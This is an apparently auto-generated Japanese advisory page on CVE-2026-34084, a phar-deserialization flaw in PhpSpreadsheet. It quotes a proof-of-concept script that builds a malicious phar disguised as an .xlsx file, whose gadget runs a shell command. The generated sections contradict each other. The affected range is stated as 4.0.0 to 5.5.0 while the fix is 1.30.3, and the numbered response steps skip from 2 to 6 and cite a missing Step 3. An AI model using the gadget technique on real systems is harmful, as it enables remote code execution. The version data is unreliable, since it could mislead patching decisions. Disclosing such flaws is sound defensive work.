English version →
開発者ツール
CVE-2026-34084 critical CVSS 9.8

phpoffice/phpspreadsheet に 安全でないデシリアライゼーション (CVE-2026-34084)

概要

phpoffice/phpspreadsheet に 脆弱性 (CVE-2026-34084) が存在。悪用されるとシステム全体を乗っ取られる可能性があります。is_file 経由で攻撃可能。対策: 1.30.3 以上に更新。

原文の説明

取得元が公開している説明をそのまま載せています (多くは英語)。

The usage of is_file, used to verify if the $filename is indeed an actual file, by all(?) Reader implementations (inside the helper function File::assertFile) is php-wrapper aware, for any php wrappers implementing stat().
The 3 wrappers ftp://, phar:// and ssh2.sftp://, all satisfy this requirement - 2 of which are shown in the PoC below.

This results in a SSRF, at "best", and RCE at worse.

This was tested against the latest release - but the issue seems to go back a while from a first quick check (still present in v1.30.2).

PoC

To reproduce the vulnerable behavior, the following scripts were used:

php.ini file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:

phar.readonly=0

make_phar.php to create the malicious file:

<?php
// php -c php.ini make_phar.php
class GadgetClass {
    public $data;
    function __construct($d) {
        $this->data = $d;
    }
    function __destruct() {
        shell_exec($this->data);
    }
}

$pop = new GadgetClass('touch /tmp/poc.txt');

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('whatever', 'dummy content');
$phar->setMetadata($pop);
$phar->stopBuffering();

rename('exploit.phar', 'exploit.xlsx'); // optional
echo "exploit.xlsx created \n";

test.php showcases the unsafe pattern:

<?php
require 'v…

出典: NIST National Vulnerability Database NVD GitHub Advisory

AI要約

外部の AI が作成した要約です。誤りを含むことがあります。重要な判断の前に、下の原文と参照URLを確認してください。

PhpSpreadsheetというソフトに深刻なバグが見つかりました。このバグを攻撃者が悪用すると、リモートでコードを実行される危険性があります。攻撃は特殊なファイルパスを使って行われ、あなたのシステムに被害が及ぶ可能性があります。修正済みバージョンにアップデートすることで、この危険を未然に防ぐことができます。

脆弱性はPhpSpreadsheetのIOFactory::loadメソッドにおいて、ユーザーが制御するファイル名($filename)を不正に利用される可能性があります。is_file関数の不適切な使用が原因です。脆弱性の影響を受けるバージョンは1.30.2以前で、修正は1.30.3にて提供されています。攻撃者はphar://などのPHPラッパーを利用してRCEやSSRFを引き起こすことが可能です。修正のため、composerコマンドを使用して『composer require phpoffice/phpspreadsheet:^1.30.3』と実行することが推奨されます。

❓ 何が問題か

phpoffice/phpspreadsheet に 安全でないデシリアライゼーション (CWE-502) があります。攻撃者は is_file を経由して脆弱な処理に到達し、認証なしで悪用できます。

📍 影響範囲

phpoffice/phpspreadsheet のうち 影響範囲: >= 4.0.0, <= 5.5.0。攻撃箇所: is_file / Reader / latest / php.ini。

🔥 重要度

重要度: 最重要 (CVSS 9.8/10)。悪用されるとシステム全体を乗っ取られる可能性があります

🔧 修正方法

1.30.3 に更新してください。(修正前: >= 4.0.0, <= 5.5.0 該当バージョンが本番稼働中なら直ちに更新計画を立案)

🛡️ 暫定回避

修正版が未提供時は、影響機能の無効化・WAFルール・ネットワークACLでの遮断を検討。

🔍 検知方法

Webサーバ・プロキシ・WAFログで該当CVEのIOCに合致する不審リクエストを検索。SBOM/依存ファイルで影響バージョンを横断確認。

類似する過去の事例 過去のCVE/インシデントから類似事例を抽出

PhpSpreadsheet prior 1.28.1 also had an SSRF vulnerability due to unsafe input handling in file paths.

PHP-FPM in PHP 7.3 had an RCE vulnerability similar in impact, exploiting incorrect path validation.

Unrelated software exploited PHP path misconfigurations, highlighting similar impact patterns.

もし自社で起きたら 業務シナリオごとの想定影響

📌 ECサイトの場

攻撃者が商品情報を外部のFTPサーバに流出させる原因になり、信頼失墜を招くリスク。

📌 業務SaaSの場

内部情報が漏洩し、機密性のあるデータが攻撃者により悪用される可能性。

📌 社内システムの場

攻撃者が管理者権限を乗っ取り、システム全体を不正操作される恐れ。

推奨アクション

全サーバーに対して早急に最新の修正版にアップデートし、不正アクセスの監査を実施すること。

対応アクション

SOC/SREチームが順番に実行すべき具体的なステップとコマンド例

  1. 1
    影響範囲の特定 identify
    grep -r 'phpoffice/phpspreadsheet' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で phpoffice/phpspreadsheet を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    バージョン照合 verify
    Confirm if version satisfies `>= 4.0.0, <= 5.5.0`

    Step 1 で見つかったバージョンが影響範囲 >= 4.0.0, <= 5.5.0 に該当するか照合。本番で稼働中ならインシデント扱い。

  3. 6
    パッチ適用 patch
    Upgrade phpoffice/phpspreadsheet to 1.30.3

    ステージング環境で 1.30.3 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスと、Step 3 で見つけた異常検知の続報チェックを含めること。

  4. 7
    事後検証 verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番では Step 3 と同じログクエリでアラート再発が無いか継続監視。

影響パッケージ

composer phpoffice/phpspreadsheet
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.30.3"}]}]
Packagist phpoffice/phpspreadsheet
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.30.3"}]}]

参照URL

当サイトでは、アクセス解析と広告の効果測定のために Cookie を使います。株式会社Game のサイト共通の設定です。 詳しく